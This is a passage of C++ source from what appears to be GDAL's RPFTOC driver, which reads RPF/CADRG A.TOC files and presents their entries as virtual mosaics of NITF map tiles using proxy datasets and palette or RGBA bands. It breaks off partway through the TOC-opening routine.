text:
#include "gdal_pam.h"
#include "gdal_proxy.h"
#include "rpftoclib.h"
#include "ogr_spatialref.h"
#include "cpl_string.h"
#include "vrtdataset.h"
#include "cpl_multiproc.h"

#define GEOTRSFRM_TOPLEFT_X            0
#define GEOTRSFRM_WE_RES               1
#define GEOTRSFRM_ROTATION_PARAM1      2
#define GEOTRSFRM_TOPLEFT_Y            3
#define GEOTRSFRM_ROTATION_PARAM2      4
#define GEOTRSFRM_NS_RES               5

CPL_CVSID("$Id: rpftocdataset.cpp 27384 2014-05-24 12:28:12Z rouault $");

/** Overview of used classes :
   - RPFTOCDataset : lists the different subdatasets, listed in the A.TOC,
                     as subdatasets
   - RPFTOCSubDataset : one of these subdatasets, implemented as a VRT, of
                        the relevant NITF tiles
   - RPFTOCProxyRasterDataSet : a "proxy" dataset that maps to a NITF tile
   - RPFTOCProxyRasterBandPalette / RPFTOCProxyRasterBandRGBA : bands of RPFTOCProxyRasterDataSet
*/

/************************************************************************/
/* ==================================================================== */
/*                            RPFTOCDataset                             */
/* ==================================================================== */
/************************************************************************/

class RPFTOCDataset : public GDALPamDataset
{
  char	    **papszSubDatasets;
  char       *pszProjection;
  int         bGotGeoTransform;
  double      adfGeoTransform[6];

  char      **papszFileList;

  public:
    RPFTOCDataset()
    {
        papszSubDatasets = NULL;
        pszProjection = NULL;
        bGotGeoTransform = FALSE;
        papszFileList = NULL;
    }

    ~RPFTOCDataset()
    {
        CSLDestroy( papszSubDatasets );
        CPLFree(pszProjection);
        CSLDestroy(papszFileList);
    }

    virtual char      **GetMetadata( const char * pszDomain = "" );

    virtual char      **GetFileList() { return CSLDuplicate(papszFileList); }

    void                AddSubDataset(const char* pszFilename, RPFTocEntry* tocEntry );

    void SetSize(int rasterXSize, int rasterYSize)
    {
        nRasterXSize = rasterXSize;
        nRasterYSize = rasterYSize;
    }

    virtual CPLErr GetGeoTransform( double * padfGeoTransform)
    {
        if (bGotGeoTransform)
        {
            memcpy(padfGeoTransform, adfGeoTransform, 6 * sizeof(double));
            return CE_None;
        }
        return CE_Failure;
    }

    virtual CPLErr SetGeoTransform( double * padfGeoTransform)
    {
        bGotGeoTransform = TRUE;
        memcpy(adfGeoTransform, padfGeoTransform, 6 * sizeof(double));
        return CE_None;
    }

    virtual CPLErr SetProjection( const char * projectionRef )
    {
        CPLFree(pszProjection);
        pszProjection = CPLStrdup(projectionRef);
        return CE_None;
    }

    virtual const char *GetProjectionRef(void)
    {
        return (pszProjection) ? pszProjection : "";
    }

    static int IsNITFFileTOC(NITFFile *psFile);
    static int IsNonNITFFileTOC(GDALOpenInfo * poOpenInfo, const char* pszFilename );
    static GDALDataset* OpenFileTOC(NITFFile *psFile,
                                    const char* pszFilename,
                                    const char* entryName,
                                    const char* openInformationName);

    static int Identify( GDALOpenInfo * poOpenInfo );
    static GDALDataset* Open( GDALOpenInfo * poOpenInfo );
};

/************************************************************************/
/* ==================================================================== */
/*                            RPFTOCSubDataset                          */
/* ==================================================================== */
/************************************************************************/

class RPFTOCSubDataset : public VRTDataset
{

  int          cachedTileBlockXOff;
  int          cachedTileBlockYOff;
  void*        cachedTileData;
  int          cachedTileDataSize;
  const char*  cachedTileFileName;
  char**       papszFileList;

  public:
    RPFTOCSubDataset(int nXSize, int nYSize) : VRTDataset(nXSize, nYSize)
    {
        /* Don't try to write a VRT file */
        SetWritable(FALSE);

        /* The driver is set to VRT in VRTDataset constructor. */
        /* We have to set it to the expected value ! */
        poDriver = (GDALDriver *) GDALGetDriverByName( "RPFTOC" );

        cachedTileBlockXOff = cachedTileBlockYOff = -1;
        cachedTileData = NULL;
        cachedTileDataSize = 0;
        cachedTileFileName = NULL;

        papszFileList = NULL;
    }

    ~RPFTOCSubDataset()
    {
        CSLDestroy(papszFileList);
        CPLFree(cachedTileData);
    }

    virtual char      **GetFileList() { return CSLDuplicate(papszFileList); }

    void* GetCachedTile(const char* tileFileName, int nBlockXOff, int nBlockYOff)
    {
        if (cachedTileFileName == tileFileName  &&
            cachedTileBlockXOff == nBlockXOff &&
            cachedTileBlockYOff == nBlockYOff)
        {
            return cachedTileData;
        }
        else
        {
            return NULL;
        }
    }

    void SetCachedTile(const char* tileFileName, int nBlockXOff, int nBlockYOff,
                       const void* pData, int dataSize)
    {
        if (dataSize > cachedTileDataSize)
        {
            cachedTileData = CPLRealloc(cachedTileData, dataSize);
            cachedTileDataSize = dataSize;
        }
        memcpy(cachedTileData, pData, dataSize);
        cachedTileFileName = tileFileName;
        cachedTileBlockXOff = nBlockXOff;
        cachedTileBlockYOff = nBlockYOff;
    }

    static GDALDataset* CreateDataSetFromTocEntry(const char* openInformationName,
                                                  const char* pszTOCFileName, int nEntry,
                                                  const RPFTocEntry* entry, int isRGBA,
                                                  char** papszMetadataRPFTOCFile);
};

/************************************************************************/
/* ==================================================================== */
/*                        RPFTOCProxyRasterDataSet                       */
/* ==================================================================== */
/************************************************************************/

class RPFTOCProxyRasterDataSet : public GDALProxyPoolDataset
{
    /* The following parameters are only for sanity checking */
    int checkDone;
    int checkOK;
    double nwLong, nwLat;
    GDALColorTable* colorTableRef;
    int bHasNoDataValue;
    double noDataValue;
    RPFTOCSubDataset* subdataset;

    public:
        RPFTOCProxyRasterDataSet(RPFTOCSubDataset* subdataset,
                                 const char* fileName,
                                 int nRasterXSize, int nRasterYSize,
                                 int nBlockXSize, int nBlockYSize,
                                 const char* projectionRef, double nwLong, double nwLat,
                                 int nBands);

        void SetNoDataValue(double noDataValue) {
            this->noDataValue = noDataValue;
            bHasNoDataValue = TRUE;
        }

        double GetNoDataValue(int* bHasNoDataValue)
        {
            if (bHasNoDataValue)
                *bHasNoDataValue = this->bHasNoDataValue;
            return noDataValue;
        }

        GDALDataset* RefUnderlyingDataset()
        {
            return GDALProxyPoolDataset::RefUnderlyingDataset();
        }

        void UnrefUnderlyingDataset(GDALDataset* poUnderlyingDataset)
        {
            GDALProxyPoolDataset::UnrefUnderlyingDataset(poUnderlyingDataset);
        }

        void SetReferenceColorTable(GDALColorTable* colorTableRef) { this->colorTableRef = colorTableRef;}

        const GDALColorTable* GetReferenceColorTable() { return colorTableRef; }

        int SanityCheckOK(GDALDataset* sourceDS);

        RPFTOCSubDataset* GetSubDataset() { return subdataset; }
};

/************************************************************************/
/* ==================================================================== */
/*                     RPFTOCProxyRasterBandRGBA                        */
/* ==================================================================== */
/************************************************************************/

class RPFTOCProxyRasterBandRGBA : public GDALPamRasterBand
{
    int initDone;
    unsigned char colorTable[256];
    int blockByteSize;

    private:
        void Expand(void* pImage, const void* srcImage);

    public:
        RPFTOCProxyRasterBandRGBA(GDALProxyPoolDataset* poDS, int nBand,
                                  int nBlockXSize, int nBlockYSize)
        {
            this->poDS = poDS;
            nRasterXSize = poDS->GetRasterXSize();
            nRasterYSize = poDS->GetRasterYSize();
            this->nBlockXSize = nBlockXSize;
            this->nBlockYSize = nBlockYSize;
            eDataType = GDT_Byte;
            this->nBand = nBand;
            blockByteSize = nBlockXSize * nBlockYSize;
            initDone = FALSE;
        }

        virtual GDALColorInterp GetColorInterpretation()
        {
            return (GDALColorInterp)(GCI_RedBand + nBand - 1);
        }

    protected:
        virtual CPLErr IReadBlock( int nBlockXOff, int nBlockYOff,
                                   void * pImage );
};

/************************************************************************/
/*                    Expand()                                          */
/************************************************************************/

/* Expand the  array or indexed colors to an array of their corresponding R,G,B or A component */
void  RPFTOCProxyRasterBandRGBA::Expand(void* pImage, const void* srcImage)
{
    int i;
    if ((blockByteSize & (~3)) != 0)
    {
        for(i=0;i<blockByteSize;i++)
        {
            ((unsigned char*)pImage)[i] = colorTable[((unsigned char*)srcImage)[i]];
        }
    }
    else
    {
        int nIter = blockByteSize/4;
        for(i=0;i<nIter;i++)
        {
            unsigned int four_pixels = ((unsigned int*)srcImage)[i];
            ((unsigned int*)pImage)[i] =
                    (colorTable[four_pixels >> 24] << 24) |
                    (colorTable[(four_pixels >> 16) & 0xFF] << 16) |
                    (colorTable[(four_pixels >> 8) & 0xFF] << 8) |
                    colorTable[four_pixels & 0xFF];
        }
    }

}

/************************************************************************/
/*                    IReadBlock()                                      */
/************************************************************************/

CPLErr RPFTOCProxyRasterBandRGBA::IReadBlock( int nBlockXOff, int nBlockYOff,
                                         void * pImage )
{
    CPLErr ret;
    RPFTOCProxyRasterDataSet* proxyDS = (RPFTOCProxyRasterDataSet*)poDS;
    GDALDataset* ds = proxyDS->RefUnderlyingDataset();
    if (ds)
    {
        if (proxyDS->SanityCheckOK(ds) == FALSE)
        {
            proxyDS->UnrefUnderlyingDataset(ds);
            return CE_Failure;
        }

        GDALRasterBand* srcBand = ds->GetRasterBand(1);
        if (initDone == FALSE)
        {
            GDALColorTable* srcColorTable = srcBand->GetColorTable();
            int i;
            int bHasNoDataValue;
            int noDataValue = (int)srcBand->GetNoDataValue(&bHasNoDataValue);
            int nEntries = srcColorTable->GetColorEntryCount();
            for(i=0;i<nEntries;i++)
            {
                const GDALColorEntry* entry = srcColorTable->GetColorEntry(i);
                if (nBand == 1)
                    colorTable[i] = (unsigned char)entry->c1;
                else if (nBand == 2)
                    colorTable[i] = (unsigned char)entry->c2;
                else if (nBand == 3)
                    colorTable[i] = (unsigned char)entry->c3;
                else
                {
                    colorTable[i] = (bHasNoDataValue && i == noDataValue) ? 0 : (unsigned char)entry->c4;
                }
            }
            if (bHasNoDataValue && nEntries == noDataValue)
                colorTable[nEntries] = 0;
            initDone = TRUE;
        }

        /* We use a 1-tile cache as the same source tile will be consecutively asked for */
        /* computing the R tile, the G tile, the B tile and the A tile */
        void* cachedImage =
                proxyDS->GetSubDataset()->GetCachedTile(GetDescription(), nBlockXOff, nBlockYOff);
        if (cachedImage == NULL)
        {
            CPLDebug("RPFTOC", "Read (%d, %d) of band %d, of file %s",
                     nBlockXOff, nBlockYOff, nBand, GetDescription());
            ret = srcBand->ReadBlock(nBlockXOff, nBlockYOff, pImage);
            if (ret == CE_None)
            {
                proxyDS->GetSubDataset()->SetCachedTile
                        (GetDescription(), nBlockXOff, nBlockYOff, pImage, blockByteSize);
                Expand(pImage, pImage);
            }

            /* -------------------------------------------------------------------- */
            /*      Forceably load the other bands associated with this scanline.   */
            /* -------------------------------------------------------------------- */
            if(nBand == 1 )
            {
                GDALRasterBlock *poBlock;

                poBlock =
                    poDS->GetRasterBand(2)->GetLockedBlockRef(nBlockXOff,nBlockYOff);
                if (poBlock)
                    poBlock->DropLock();

                poBlock =
                    poDS->GetRasterBand(3)->GetLockedBlockRef(nBlockXOff,nBlockYOff);
                if (poBlock)
                    poBlock->DropLock();

                poBlock =
                    poDS->GetRasterBand(4)->GetLockedBlockRef(nBlockXOff,nBlockYOff);
                if (poBlock)
                    poBlock->DropLock();
            }
        }
        else
        {
            Expand(pImage, cachedImage);
            ret = CE_None;
        }

    }
    else
        ret = CE_Failure;

    proxyDS->UnrefUnderlyingDataset(ds);

    return ret;
}

/************************************************************************/
/* ==================================================================== */
/*                 RPFTOCProxyRasterBandPalette                         */
/* ==================================================================== */
/************************************************************************/

class RPFTOCProxyRasterBandPalette : public GDALPamRasterBand
{
    int initDone;
    int blockByteSize;
    int samePalette;
    unsigned char remapLUT[256];

    public:
        RPFTOCProxyRasterBandPalette(GDALProxyPoolDataset* poDS, int nBand,
                                     int nBlockXSize, int nBlockYSize)
        {
            this->poDS = poDS;
            nRasterXSize = poDS->GetRasterXSize();
            nRasterYSize = poDS->GetRasterYSize();
            this->nBlockXSize = nBlockXSize;
            this->nBlockYSize = nBlockYSize;
            eDataType = GDT_Byte;
            this->nBand = nBand;
            blockByteSize = nBlockXSize * nBlockYSize;
            initDone = FALSE;
        }

        virtual GDALColorInterp GetColorInterpretation()
        {
            return GCI_PaletteIndex;
        }

        virtual double GetNoDataValue(int* bHasNoDataValue)
        {
            return ((RPFTOCProxyRasterDataSet*)poDS)->GetNoDataValue(bHasNoDataValue);
        }

        virtual GDALColorTable *GetColorTable()
        {
            return (GDALColorTable *) ((RPFTOCProxyRasterDataSet*)poDS)->GetReferenceColorTable();
        }

    protected:
        virtual CPLErr IReadBlock( int nBlockXOff, int nBlockYOff,
                                   void * pImage );
};

/************************************************************************/
/*                    IReadBlock()                                      */
/************************************************************************/

CPLErr RPFTOCProxyRasterBandPalette::IReadBlock( int nBlockXOff, int nBlockYOff,
                                                 void * pImage )
{
    CPLErr ret;
    RPFTOCProxyRasterDataSet* proxyDS = (RPFTOCProxyRasterDataSet*)poDS;
    GDALDataset* ds = proxyDS->RefUnderlyingDataset();
    if (ds)
    {
        if (proxyDS->SanityCheckOK(ds) == FALSE)
        {
            proxyDS->UnrefUnderlyingDataset(ds);
            return CE_Failure;
        }

        GDALRasterBand* srcBand = ds->GetRasterBand(1);
        ret = srcBand->ReadBlock(nBlockXOff, nBlockYOff, pImage);

        if (initDone == FALSE)
        {
            int approximateMatching;
            if (srcBand->GetIndexColorTranslationTo(this, remapLUT, &approximateMatching ))
            {
                samePalette = FALSE;
                if (approximateMatching)
                {
                    CPLError( CE_Failure, CPLE_AppDefined,
                              "Palette for %s is different from reference palette. "
                              "Coudln't remap exactly all colors. Trying to find closest matches.\n", GetDescription());
                }
            }
            else
            {
                samePalette = TRUE;
            }
            initDone = TRUE;
        }

        if (samePalette == FALSE)
        {
            unsigned char* data = (unsigned char*)pImage;
            int i;
            for(i=0;i<blockByteSize;i++)
            {
                data[i] = remapLUT[data[i]];
            }
        }

    }
    else
        ret = CE_Failure;

    proxyDS->UnrefUnderlyingDataset(ds);

    return ret;
}

/************************************************************************/
/*                    RPFTOCProxyRasterDataSet()                         */
/************************************************************************/

RPFTOCProxyRasterDataSet::RPFTOCProxyRasterDataSet
        (RPFTOCSubDataset* subdataset,
         const char* fileName,
         int nRasterXSize, int nRasterYSize,
         int nBlockXSize, int nBlockYSize,
         const char* projectionRef, double nwLong, double nwLat,
         int nBands) :
            /* Mark as shared since the VRT will take several references if we are in RGBA mode (4 bands for this dataset) */
                GDALProxyPoolDataset(fileName, nRasterXSize, nRasterYSize, GA_ReadOnly, TRUE, projectionRef)
{
    int i;
    this->subdataset = subdataset;
    this->nwLong = nwLong;
    this->nwLat = nwLat;
    bHasNoDataValue = FALSE;
    noDataValue = 0;
    colorTableRef = NULL;

    checkDone = FALSE;
    checkOK = FALSE;
    if (nBands == 4)
    {
        for(i=0;i<4;i++)
        {
            SetBand(i + 1, new RPFTOCProxyRasterBandRGBA(this, i+1, nBlockXSize, nBlockYSize));
        }
    }
    else
        SetBand(1, new RPFTOCProxyRasterBandPalette(this, 1, nBlockXSize, nBlockYSize));
}

/************************************************************************/
/*                    SanityCheckOK()                                   */
/************************************************************************/

#define WARN_ON_FAIL(x) do { if (!(x)) { CPLError(CE_Warning, CPLE_AppDefined, "For %s, assert '" #x "' failed", GetDescription()); } } while(0)
#define ERROR_ON_FAIL(x) do { if (!(x)) { CPLError(CE_Warning, CPLE_AppDefined, "For %s, assert '" #x "' failed", GetDescription()); checkOK = FALSE; } } while(0)

int RPFTOCProxyRasterDataSet::SanityCheckOK(GDALDataset* sourceDS)
{
    int src_nBlockXSize, src_nBlockYSize;
    int nBlockXSize, nBlockYSize;
    double adfGeoTransform[6];
    if (checkDone)
        return checkOK;

    checkOK = TRUE;
    checkDone = TRUE;

    sourceDS->GetGeoTransform(adfGeoTransform);
    WARN_ON_FAIL(fabs(adfGeoTransform[GEOTRSFRM_TOPLEFT_X] - nwLong) < adfGeoTransform[1] );
    WARN_ON_FAIL(fabs(adfGeoTransform[GEOTRSFRM_TOPLEFT_Y] - nwLat) < fabs(adfGeoTransform[5]) );
    WARN_ON_FAIL(adfGeoTransform[GEOTRSFRM_ROTATION_PARAM1] == 0 &&
                  adfGeoTransform[GEOTRSFRM_ROTATION_PARAM2] == 0); /* No rotation */
    ERROR_ON_FAIL(sourceDS->GetRasterCount() == 1); /* Just 1 band */
    ERROR_ON_FAIL(sourceDS->GetRasterXSize() == nRasterXSize);
    ERROR_ON_FAIL(sourceDS->GetRasterYSize() == nRasterYSize);
    WARN_ON_FAIL(EQUAL(sourceDS->GetProjectionRef(), GetProjectionRef()));
    sourceDS->GetRasterBand(1)->GetBlockSize(&src_nBlockXSize, &src_nBlockYSize);
    GetRasterBand(1)->GetBlockSize(&nBlockXSize, &nBlockYSize);
    ERROR_ON_FAIL(src_nBlockXSize == nBlockXSize);
    ERROR_ON_FAIL(src_nBlockYSize == nBlockYSize);
    WARN_ON_FAIL(sourceDS->GetRasterBand(1)->GetColorInterpretation() == GCI_PaletteIndex);
    WARN_ON_FAIL(sourceDS->GetRasterBand(1)->GetRasterDataType() == GDT_Byte);

    return checkOK;
}

/************************************************************************/
/*                           MakeTOCEntryName()                         */
/************************************************************************/

static const char* MakeTOCEntryName(RPFTocEntry* tocEntry )
{
    char* str;
    if (tocEntry->seriesAbbreviation)
        str = (char*)CPLSPrintf( "%s_%s_%s_%s_%d", tocEntry->type, tocEntry->seriesAbbreviation, tocEntry->scale, tocEntry->zone, tocEntry->boundaryId );
    else
        str = (char*)CPLSPrintf( "%s_%s_%s_%d", tocEntry->type, tocEntry->scale, tocEntry->zone, tocEntry->boundaryId );
    char* c = str;
    while(*c)
    {
        if (*c == ':' || *c == ' ')
            *c = '_';
        c++;
    }
    return str;
}

/************************************************************************/
/*                           AddSubDataset()                            */
/************************************************************************/

void RPFTOCDataset::AddSubDataset( const char* pszFilename,  RPFTocEntry* tocEntry )

{
    char	szName[80];
    int		nCount = CSLCount(papszSubDatasets ) / 2;

    sprintf( szName, "SUBDATASET_%d_NAME", nCount+1 );
    papszSubDatasets =
        CSLSetNameValue( papszSubDatasets, szName,
              CPLSPrintf( "NITF_TOC_ENTRY:%s:%s", MakeTOCEntryName(tocEntry), pszFilename ) );

    sprintf( szName, "SUBDATASET_%d_DESC", nCount+1 );
    if (tocEntry->seriesName && tocEntry->seriesAbbreviation)
        papszSubDatasets =
        CSLSetNameValue( papszSubDatasets, szName,
               CPLSPrintf( "%s:%s:%s:%s:%s:%d", tocEntry->type, tocEntry->seriesAbbreviation, tocEntry->seriesName, tocEntry->scale, tocEntry->zone, tocEntry->boundaryId ));
    else
        papszSubDatasets =
            CSLSetNameValue( papszSubDatasets, szName,
                CPLSPrintf( "%s:%s:%s:%d", tocEntry->type, tocEntry->scale, tocEntry->zone, tocEntry->boundaryId ));
}

/************************************************************************/
/*                            GetMetadata()                             */
/************************************************************************/

char **RPFTOCDataset::GetMetadata( const char *pszDomain )

{
    if( pszDomain != NULL && EQUAL(pszDomain,"SUBDATASETS") )
        return papszSubDatasets;

    return GDALPamDataset::GetMetadata( pszDomain );
}

/************************************************************************/
/*                  NITFCreateVRTDataSetFromTocEntry()                  */
/************************************************************************/

#define ASSERT_CREATE_VRT(x) do { if (!(x)) { CPLError(CE_Failure, CPLE_AppDefined, "For %s, assert '" #x "' failed", entry->frameEntries[i].fullFilePath); if (poSrcDS) GDALClose(poSrcDS); CPLFree(projectionRef); return NULL;} } while(0)

/* Builds a RPFTOCSubDataset from the set of files of the toc entry */
GDALDataset* RPFTOCSubDataset::CreateDataSetFromTocEntry(const char* openInformationName,
                                                         const char* pszTOCFileName, int nEntry,
                                                         const RPFTocEntry* entry, int isRGBA,
                                                         char** papszMetadataRPFTOCFile)
{
    int i, j;
    GDALDriver *poDriver;
    RPFTOCSubDataset *poVirtualDS;
    int sizeX, sizeY;
    int nBlockXSize = 0, nBlockYSize = 0;
    double geoTransf[6];
    char* projectionRef = NULL;
    int N;
    int index = 0;

    poDriver = GetGDALDriverManager()->GetDriverByName("VRT");
    if( poDriver == NULL )
        return NULL;

    N = entry->nVertFrames * entry->nHorizFrames;

    /* This may not be reliable. See below */
    sizeX = (int)((entry->seLong - entry->nwLong) / (entry->nHorizFrames * entry->horizInterval) + 0.5);
    sizeY = (int)((entry->nwLat - entry->seLat) / (entry->nVertFrames * entry->vertInterval) + 0.5);

    for(i=0;i<N; i++)
    {
        if (!entry->frameEntries[i].fileExists)
            continue;

        if (index == 0)
        {
            int ds_sizeX, ds_sizeY;
            /* Open the first available file to get its geotransform, projection ref and block size */
            /* Do a few sanity checks too */
            /* Ideally we should make these sanity checks now on ALL files, but it would be too slow */
            /* for large datasets. So these sanity checks will be done at the time we really need */
            /* to access the file (see SanityCheckOK metho) */
            GDALDataset *poSrcDS = (GDALDataset *) GDALOpenShared( entry->frameEntries[i].fullFilePath, GA_ReadOnly );
            ASSERT_CREATE_VRT(poSrcDS);
            poSrcDS->GetGeoTransform(geoTransf);
            projectionRef = CPLStrdup(poSrcDS->GetProjectionRef());
            ASSERT_CREATE_VRT(geoTransf[GEOTRSFRM_ROTATION_PARAM1] == 0 &&
                              geoTransf[GEOTRSFRM_ROTATION_PARAM2] == 0); /* No rotation */
            ASSERT_CREATE_VRT(poSrcDS->GetRasterCount() == 1); /* Just 1 band */

            /* Tolerance of 1%... This is necessary for CADRG_L22/RPF/A.TOC for example */
            ASSERT_CREATE_VRT((entry->horizInterval - geoTransf[GEOTRSFRM_WE_RES]) /
                                entry->horizInterval < 0.01); /* X interval same as in TOC */
            ASSERT_CREATE_VRT((entry->vertInterval - (-geoTransf[GEOTRSFRM_NS_RES])) /
                                entry->horizInterval < 0.01); /* Y interval same as in TOC */

            ds_sizeX = poSrcDS->GetRasterXSize();
            ds_sizeY = poSrcDS->GetRasterYSize();
            /* In the case the east longitude is 180, there's a great chance that it is in fact */
            /* truncated in the A.TOC. Thus, the only reliable way to find out the tile width, is to */
            /* read it from the tile dataset itself... */
            /* This is the case for the GNCJNCN dataset that has world coverage */
            if (entry->seLong == 180.00)
                sizeX = ds_sizeX;
            else
                ASSERT_CREATE_VRT(sizeX == ds_sizeX);
            ASSERT_CREATE_VRT(sizeY == ds_sizeY);
            poSrcDS->GetRasterBand(1)->GetBlockSize(&nBlockXSize, &nBlockYSize);
            ASSERT_CREATE_VRT(poSrcDS->GetRasterBand(1)->GetColorInterpretation() == GCI_PaletteIndex);
            ASSERT_CREATE_VRT(poSrcDS->GetRasterBand(1)->GetRasterDataType() == GDT_Byte);
            GDALClose(poSrcDS);
        }

        index++;
    }

    if (index == 0)
        return NULL;

    /* ------------------------------------ */
    /* Create the VRT with the overall size */
    /* ------------------------------------ */
    poVirtualDS = new RPFTOCSubDataset( sizeX * entry->nHorizFrames,
                                        sizeY * entry->nVertFrames);

    if (papszMetadataRPFTOCFile)
        poVirtualDS->SetMetadata(papszMetadataRPFTOCFile);

    poVirtualDS->SetProjection(projectionRef);

    geoTransf[GEOTRSFRM_TOPLEFT_X] = entry->nwLong;
    geoTransf[GEOTRSFRM_TOPLEFT_Y] = entry->nwLat;
    poVirtualDS->SetGeoTransform(geoTransf);

    int nBands;

    /* In most cases, all the files inside a TOC entry share the same */
    /* palette and we could use it for the VRT. */
    /* In other cases like for CADRG801_France_250K (TOC entry CADRG_250K_2_2), */
    /* the file for Corsica and the file for Sardegna do not share the same palette */
    /* however they contain the same RGB triplets and are just ordered differently */
    /* So we can use the same palette */
    /* In the unlikely event where palettes would be incompatible, we can use the RGBA */
    /* option through the config option RPFTOC_FORCE_RGBA */
    if (isRGBA == FALSE)
    {
        poVirtualDS->AddBand(GDT_Byte, NULL);
        GDALRasterBand *poBand = poVirtualDS->GetRasterBand( 1 );
        poBand->SetColorInterpretation(GCI_PaletteIndex);
        nBands = 1;

        for(i=0;i<N; i++)
        {
            if (!entry->frameEntries[i].fileExists)
                continue;

            int bAllBlack = TRUE;
            GDALDataset *poSrcDS = (GDALDataset *) GDALOpenShared( entry->frameEntries[i].fullFilePath, GA_ReadOnly );
            if( poSrcDS != NULL )
            {
                if( poSrcDS->GetRasterCount() == 1 )
                {
                    int bHasNoDataValue;
                    double noDataValue = poSrcDS->GetRasterBand(1)->GetNoDataValue(&bHasNoDataValue);
                    if (bHasNoDataValue)
                        poBand->SetNoDataValue(noDataValue);

                    /* Avoid setting a color table that is all black (which might be */
                    /* the case of the edge tiles of a RPF subdataset) */
                    GDALColorTable* poCT = poSrcDS->GetRasterBand(1)->GetColorTable();
                    if( poCT != NULL )
                    {
                        for(int iC = 0; iC < poCT->GetColorEntryCount(); iC++)
                        {
                            if( bHasNoDataValue && iC == (int)noDataValue )
                                continue;

                            const GDALColorEntry* entry = poCT->GetColorEntry(iC);
                            if( entry->c1 != 0 || entry->c2 != 0 || entry->c3 != 0)
                            {
                                bAllBlack = FALSE;
                                break;
                            }
                        }

                        /* Assign it temporarily, in the hope of a better match */
                        /* afterwards */
                        poBand->SetColorTable(poCT);
                        if( bAllBlack )
                        {
                            CPLDebug("RPFTOC",
                                     "Skipping %s. Its palette is all black.",
                                     poSrcDS->GetDescription());
                        }
                    }
                }
                GDALClose(poSrcDS);
            }
            if( !bAllBlack )
                break;
        }
    }
    else
    {
        for (i=0;i<4;i++)
        {
            poVirtualDS->AddBand(GDT_Byte, NULL);
            GDALRasterBand *poBand = poVirtualDS->GetRasterBand( i + 1 );
            poBand->SetColorInterpretation((GDALColorInterp)(GCI_RedBand+i));
        }
        nBands = 4;
    }

    CPLFree(projectionRef);
    projectionRef = NULL;

    /* -------------------------------------------------------------------- */
    /*      Check for overviews.                                            */
    /* -------------------------------------------------------------------- */

    poVirtualDS->oOvManager.Initialize( poVirtualDS,
                                        CPLString().Printf("%s.%d", pszTOCFileName, nEntry + 1));

    poVirtualDS->SetDescription(pszTOCFileName);
    poVirtualDS->papszFileList = poVirtualDS->GDALDataset::GetFileList();
    poVirtualDS->SetDescription(openInformationName);

    int iFile = 0;
    for(i=0;i<N; i++)
    {
        if (! entry->frameEntries[i].fileExists)
            continue;

        poVirtualDS->SetMetadataItem(CPLSPrintf("FILENAME_%d", iFile), entry->frameEntries[i].fullFilePath);
        poVirtualDS->papszFileList = CSLAddString(poVirtualDS->papszFileList, entry->frameEntries[i].fullFilePath);
        iFile++;

        /* We create proxy datasets and raster bands */
        /* Using real datasets and raster bands is possible in theory */
        /* However for large datasets, a TOC entry can include several hundreds of files */
        /* and we finally reach the limit of maximum file descriptors open at the same time ! */
        /* So the idea is to warp the datasets into a proxy and open the underlying dataset only when it is */
        /* needed (IRasterIO operation). To improve a bit efficiency, we have a cache of opened */
        /* underlying datasets */
        RPFTOCProxyRasterDataSet* ds = new RPFTOCProxyRasterDataSet(
                (RPFTOCSubDataset*)poVirtualDS,
                entry->frameEntries[i].fullFilePath,
                sizeX, sizeY,
                nBlockXSize, nBlockYSize,
                poVirtualDS->GetProjectionRef(),
                entry->nwLong + entry->frameEntries[i].frameCol * entry->horizInterval * sizeX,
                entry->nwLat - entry->frameEntries[i].frameRow * entry->vertInterval * sizeY,
                nBands);
        if (nBands == 1)
        {
            GDALRasterBand *poBand = poVirtualDS->GetRasterBand( 1 );
            ds->SetReferenceColorTable(poBand->GetColorTable());
            int bHasNoDataValue;
            double noDataValue = poBand->GetNoDataValue(&bHasNoDataValue);
            if (bHasNoDataValue)
                ds->SetNoDataValue(noDataValue);
        }

        for(j=0;j<nBands;j++)
        {
            VRTSourcedRasterBand *poBand = (VRTSourcedRasterBand*)poVirtualDS->GetRasterBand( j + 1 );
            /* Place the raster band at the right position in the VRT */
            poBand->AddSimpleSource(ds->GetRasterBand(j + 1),
                                    0, 0, sizeX, sizeY,
                                    entry->frameEntries[i].frameCol * sizeX,
                                    entry->frameEntries[i].frameRow * sizeY,
                                    sizeX, sizeY);
        }

        /* The RPFTOCProxyRasterDataSet will be destroyed when its last raster band will be */
        /* destroyed */
        ds->Dereference();
    }

    poVirtualDS->SetMetadataItem("NITF_SCALE", entry->scale);
    poVirtualDS->SetMetadataItem("NITF_SERIES_ABBREVIATION",
                        (entry->seriesAbbreviation) ? entry->seriesAbbreviation : "Unknown");
    poVirtualDS->SetMetadataItem("NITF_SERIES_NAME",
                        (entry->seriesName) ? entry->seriesName : "Unknown");

    return poVirtualDS;
}

/************************************************************************/
/*                          IsNonNITFFileTOC()                          */
/************************************************************************/

/* Check whether the file is a TOC file without NITF header */
int RPFTOCDataset::IsNonNITFFileTOC(GDALOpenInfo * poOpenInfo, const char* pszFilename )
{
    const char pattern[] = { 0, 0, '0', ' ', ' ', ' ', ' ', ' ', ' ', ' ', 'A', '.', 'T', 'O', 'C' };
    if (poOpenInfo)
    {
        if (poOpenInfo->nHeaderBytes < 48 )
            return FALSE;
        return memcmp(pattern, poOpenInfo->pabyHeader, 15) == 0;
    }
    else
    {
        char buffer[48];
        VSILFILE* fp = NULL;
        fp = VSIFOpenL( pszFilename, "rb" );
        if( fp == NULL )
        {
            return FALSE;
        }

        int ret = (VSIFReadL(buffer, 1, 48, fp) == 48) &&
                   memcmp(pattern, buffer, 15) == 0;
        VSIFCloseL(fp);
        return ret;
    }
}

/************************************************************************/
/*                             IsNITFFileTOC()                          */
/************************************************************************/

/* Check whether this NITF file is a TOC file */
int RPFTOCDataset::IsNITFFileTOC(NITFFile *psFile)
{
    const char* fileTitle = CSLFetchNameValue(psFile->papszMetadata, "NITF_FTITLE");
    while(fileTitle && *fileTitle)
    {
        if (EQUAL(fileTitle, "A.TOC"))
        {
            return TRUE;
        }
        fileTitle++;
    }
    return FALSE;
}

/************************************************************************/
/*                                OpenFileTOC()                         */
/************************************************************************/

/* Create a dataset from a TOC file */
/* If psFile == NULL, the TOC file has no NITF header */
/* If entryName != NULL, the dataset will be made just of the entry of the TOC file */
GDALDataset* RPFTOCDataset::OpenFileTOC(NITFFile *psFile,
                                        const char* pszFilename,
                                        const char* entryName,
                                        const char* openInformationName)
{
    char buffer[48];
    VSILFILE* fp = NULL;
    if (psFile == NULL)
    {
        fp = VSIFOpenL( pszFilename, "rb" );

        if( fp == NULL )
        {
            CPLError( CE_Failure, CPLE_OpenFailed,
                    "Failed to open file %s.",
                    pszFilename );
            return NULL;
        }
